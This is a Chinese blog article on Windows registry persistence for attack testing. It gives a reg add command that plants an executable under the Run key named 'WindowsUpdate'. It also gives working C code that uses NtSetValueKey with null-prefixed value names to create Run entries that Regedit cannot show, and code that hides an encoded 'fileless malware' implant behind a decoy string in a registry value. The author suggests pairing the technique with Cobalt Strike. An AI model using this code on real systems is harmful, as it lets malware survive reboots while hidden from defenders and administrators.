热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

权限维持——注册表

 文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。 0x00 前言本文是讨论针对 Windows 注

 

文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。

 

0x00 前言

本文是讨论针对 Windows 注册表编辑器(Regedit)进行攻击测试的两个例子。这两个测试,是使用 WIndows Native API 对注册表进行创建修改删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。

就对这些 “看不见” 的注册表 进行讨论:


  • 常规的注册表驻守;


  • ”隐藏“ 的注册表驻守;

 

0x01 常规持久性技术

最常见的是对注册表的自启动项进行添加修改,注册表位置如下:

HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun

常用命令:

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f

修改完成后,当 Windows 用户登陆 (HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE) 时,会运行此键值。所以,将可执行文件路径添加到此 Run 键后,文件在系统重启后将被执行。

因为此键值是最常见的,所以也是大多数的安全厂商的重点关注对象,大多数的安全厂家都能够做到禁止添加异常扫描

当进行 rootkit 排查时,先查看此注册表键值的内容,可以非常简单的可获取恶意的可执行文件的位置。

 

0x02 相关 API

我们接下来查看相关 API :



  • RegOpenKeyExA – 打开指定的注册表项;


  • NtSetValueKey – 创建或替换注册表键值项;


  • ZwQueryValueKey – 读取注册表键值;


  • NtDeleteValueKey – 删除注册表键值;


  • RegCloseKey – 关闭指定注册表项的句柄。

如果使用 Native API ,则需要导入 ntdll.dll

如果使用 Win32 API ,则需要导入 advapi32.dll


2.1、RegOpenKeyExA

打开指定的注册表项。请注意,键名不区分大小写。要对键执行事务处理的注册表操作,请调用 RegOpenKeyTransacted 函数。

函数原型:

需要5个参数,我们只需要关注几个:



  • hKey:打开的注册表项的句柄;


  • lpSubKey:要打开的注册表子项的名称;


  • phkResult:指向变量的指针,该变量接收打开的键的句柄。

如果成功打开,则返回 ERROR_SUCCESS


2.2、NtSetValueKey

此函数用于创建或替换注册表键值项,函数原型为:

需要 6 个参数,我们只需要关注几个:



  • KeyHandle:处理注册表项以为其写入值条目。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的;


  • ValueName:指向要为其写入数据的值条目的名称的指针。


  • Data:指向包含值条目数据的调用者分配的缓冲区的指针。



2.3、ZwQueryValueKey

该函数读取注册表键值。其原型为:

需要 6 个参数,我们只需要关注几个:



  • KeyHandle:处理要从中读取值条目的键。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的。


  • ValueName:指向要获取其数据的值条目名称的指针。


  • KeyValueInformationClass:类型。


  • ResultLength:指向一个变量的指针,该变量接收 Key 信息的大小(以字节为单位)。

成功返回 STATUS_SUCCESS失败则返回相应的错误代码。

注意: 如果在用户模式下调用此函数,则应使用名称“ NtQueryValueKey ”而不是 “ZwQueryValueKey ”。

 

0x03 隐藏的注册表

本小节是利用了 Regedit 的缺陷,创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native API进行的创建、删除,所以单纯的使用 Regedit 是查询不到的。这里并不是说用 API 进行创建就查询不到,而是这个特殊处理的注册表使用 Regedit 查询不到。

Ps:Win32 API 和 Native API 是有差别的。 以下内容是可实现隐藏注册表的根本原因:

在 Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。
在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。
尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:
当使用 Native API来构造特别的名称时,不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符(0),例如 “key”,这个 Unicode 字符串长度为 4,但是在使用 Win32 API 来进行查询,这是因为在 Win32 API 中,“key”字符串的长度为 3,不满足查询条件。

之所以 Regedit 看不到,是因为 Regedit 使用的是 Win32 API

3.1、特殊的 ValueName

我们的注册表键值名称经过特殊构造: 以空字符 ”” 作为开头,后面加上任意字符。对于 Windows 系统,”” (0x0000)会被识别为字符串的结束符,所以在使用 Regedit 对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。

这个写入的值,在 Regedit 中是无法正常显示,但是在 Windows 系统重新启动时,它会正常执行。这涉及到内核调用机制,不在本文讨论范围内,简单过一下:

用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上,Win32 函数为编程人员提供了大量的 API 接口来实现功能,但这些 Win32 函数只不过是一个 API接口的容器而已,它将 Native API 包装起来,通过系统服务来实现真正的功能,也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。

所以不影响执行。来看看实现代码:

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
printf("SUCCESS setting hidden run value!n");
}else{
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
}
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError());
}
}
void deleteHiddenRunKey() {
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
ValueName.MaximumLength = 0;
HKEY hkResult = NULL;
if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
if (!NtDeleteValueKey(hkResult, &ValueName)) {
printf("SUCCESS deleting hidden run value in registry!n");
}
RegCloseKey(hkResult);
}
}

先看看 createHiddenRunKey


  • 首先是打开 HKEY_CURRENT_USER + runkeyPath 的句柄;

  • 将句柄传递给NtSetValueKey ,而NtSetValueKey传递的是 UNICODE_STRING ValueName


  • ValueName.Buffer 正常情况下是设置为: Run

  • 但是我们这里在前面加了一个或多个空值WCHAR("") ,构造特殊的注册表;

  • 所以 ValueName.Buffer 应该是设置为:Run

deleteHiddenRunKey 就更加简单了


  • 调用 NtDeleteValueKey 将指定键值删除。

编译运行。

HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"

打开注册表进行对此键值进行查询时,则会弹窗提示错误。

点击确定后,内容还是之前的,新添加的内容已经成功隐藏。如果使用导出功能,也是提示错误。

同样,点击确定之后,导出的内容没有刚刚添加的内容。至此,添加的注册表已经成功隐藏,就 看不见 了。重启起效。

当然,期间也会出现一些小问题,比如有时候添加的注册表无法使用NtDeleteValueKey 进行删除,也懒得查找原因了,直接删除 Run(这个表项删除后会自建)。

最后,为了方便配合 Cobalt Strike使用,用 C# 重写以上代码(此重写代码多数取之 SharpHide – 之所以只是多数,是因为我在测试时,发现无论创建什么键值,都会提示错误),但是到 NtQueryValueKey 就中断了,因各种调试出错,而且当前互联网中几乎没找到有关于它的任何信息,唯一可借鉴的地方是 NtQueryValueKey.ps1。(希望有人能将下面的代码补全)

[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
UIntPtr KeyHandle,
IntPtr ValueName,
KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IntPtr KeyValueInformation,
UInt32 length,
out UInt32 ResultLength
);
[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
public UInt32 TitleIndex;
public UInt32 Type;
public UInt32 DataOffset;
public UInt32 DataLength;
public UInt32 NameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeCOnst= 256)]
public char[] Name;
}
Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);

效果图:

3.2、特殊的 ValueData

第一种隐藏技术,是针对 ValueName 做的处理。本小节使用的是 Fileless Malware 技术,是有效的针对ValueData 的内容进行处理。

这里使用的是 Fileless Malware 技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。

// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.
char decoy[] = "(value not set)";
....
void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
HKEY hkResult = NULL;
BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
strcpy((char*)buf2, decoy);
buf2[strlen(decoy)] = 0;
memcpy(buf2 + strlen(decoy) + 1, buf, buflen);
if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
{
printf("Key opened!n");
LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
printf("lStatus == %dn", lStatus);
RegCloseKey(hkResult);
}
free(buf2);
}
void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
HKEY hkResult = NULL;
LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
*buf = (BYTE*)malloc(*buflen);
RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
RegCloseKey(hkResult);
*buflen -= (strlen(decoy) + 1);
BYTE *buf2 = (BYTE*)malloc(*buflen);
memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
free(*buf);
*buf = buf2;
}

先看看 writeHiddenBuf


  • decoy 设置成 (value not set)

  • 然后将我们利用Fileless Malware 处理过的 buffer 放在 (value not set)后面

  • 通过 3.1 小节 可知,Regedit 会自动截断,达到隐藏的效果​

只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。

 

0x04 参考

InvisibleRegValues_Whitepaper.pdf

渗透技巧——“隐藏”注册表的创建

Hiding Registry keys with PSReflec

SharpHide

Hidden Registry Keys


推荐阅读
  • [转]doc,ppt,xls文件格式转PDF格式http:blog.csdn.netlee353086articledetails7920355确实好用。需要注意的是#import ... [详细]
  • WinMain 函数详解及示例
    本文详细介绍了 WinMain 函数的参数及其用途,并提供了一个具体的示例代码来解析 WinMain 函数的实现。 ... [详细]
  • IOS Run loop详解
    为什么80%的码农都做不了架构师?转自http:blog.csdn.netztp800201articledetails9240913感谢作者分享Objecti ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 本文介绍了如何利用 Delphi 中的 IdTCPServer 和 IdTCPClient 控件实现高效的文件传输。这些控件在默认情况下采用阻塞模式,并且服务器端已经集成了多线程处理,能够支持任意大小的文件传输,无需担心数据包大小的限制。与传统的 ClientSocket 相比,Indy 控件提供了更为简洁和可靠的解决方案,特别适用于开发高性能的网络文件传输应用程序。 ... [详细]
  • 解决针织难题:R语言编程技巧与常见错误分析 ... [详细]
  • CTF竞赛中文件上传技巧与安全绕过方法深入解析
    CTF竞赛中文件上传技巧与安全绕过方法深入解析 ... [详细]
  • 本文回顾了作者初次接触Unicode编码时的经历,并详细探讨了ASCII、ANSI、GB2312、UNICODE以及UTF-8和UTF-16编码的区别和应用场景。通过实例分析,帮助读者更好地理解和使用这些编码。 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 如何在Java中使用DButils类
    这期内容当中小编将会给大家带来有关如何在Java中使用DButils类,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。D ... [详细]
  • 在Delphi7下要制作系统托盘,只能制作一个比较简单的系统托盘,因为ShellAPI文件定义的TNotifyIconData结构体是比较早的版本。定义如下:1234 ... [详细]
  • 本指南介绍了如何在ASP.NET Web应用程序中利用C#和JavaScript实现基于指纹识别的登录系统。通过集成指纹识别技术,用户无需输入传统的登录ID即可完成身份验证,从而提升用户体验和安全性。我们将详细探讨如何配置和部署这一功能,确保系统的稳定性和可靠性。 ... [详细]
  • 如何在您的计算机上配置Python和PyCharm开发环境
    本文详细介绍了在Windows 10系统上配置Python和PyCharm开发环境的步骤。内容包括Python的安装与卸载、PyCharm的安装与卸载,以及如何在Windows 10中通过双击安装文件“python-3.7.2-amd64.exe”来完成Python的安装。此外,还提供了关于环境变量配置和基本设置的实用建议,帮助用户快速搭建高效的开发环境。 ... [详细]
  • 本文探讨了如何在C#应用程序中通过选择ComboBox项从MySQL数据库中检索数据值。具体介绍了在事件处理方法 `comboBox2_SelectedIndexChanged` 中可能出现的常见错误,并提供了详细的解决方案和优化建议,以确保数据能够正确且高效地从数据库中读取并显示在界面上。此外,还讨论了连接字符串的配置、SQL查询语句的编写以及异常处理的最佳实践,帮助开发者避免常见的陷阱并提高代码的健壮性。 ... [详细]
author-avatar
honey爱一个人好难
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有